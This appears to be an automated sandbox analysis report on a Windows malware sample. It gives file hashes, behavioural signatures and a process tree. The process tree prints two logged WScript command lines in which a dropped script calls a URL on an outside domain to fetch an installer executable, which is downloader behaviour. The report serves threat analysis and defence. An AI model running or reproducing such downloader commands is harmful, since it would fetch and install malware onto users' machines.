Analysis

  • max time kernel
    204s
  • max time network
    222s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-11-2022 01:42

General

  • Target

    ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe

  • Size

    184KB

  • MD5

    33b3c9d4c1230d2f002c5811328bb66f

  • SHA1

    fc8a35ae26ce4fb6fdeb5495aaae9977b8613f95

  • SHA256

    ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a

  • SHA512

    e650009edd902e4b59c0c1dfee1789dcca1b0167e3cc4771a1b09960ad2099f610a95e1fa1366bbaeab2aa6346b0e17cf2a612d572d710abb10d5ae62b8b9d68

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3O:/7BSH8zUB+nGESaaRvoB7FJNndnz

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe
    "C:\Users\Admin\AppData\Local\Temp\ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4440
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf7649.js" http://www.djapp.info/?domain=tgxFhcWxhZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf7649.exe
      2⤵
      • Blocklisted process makes network request
      PID:2296
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf7649.js" http://www.djapp.info/?domain=tgxFhcWxhZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf7649.exe
      2⤵
      • Blocklisted process makes network request
      PID:1516

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf7649.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76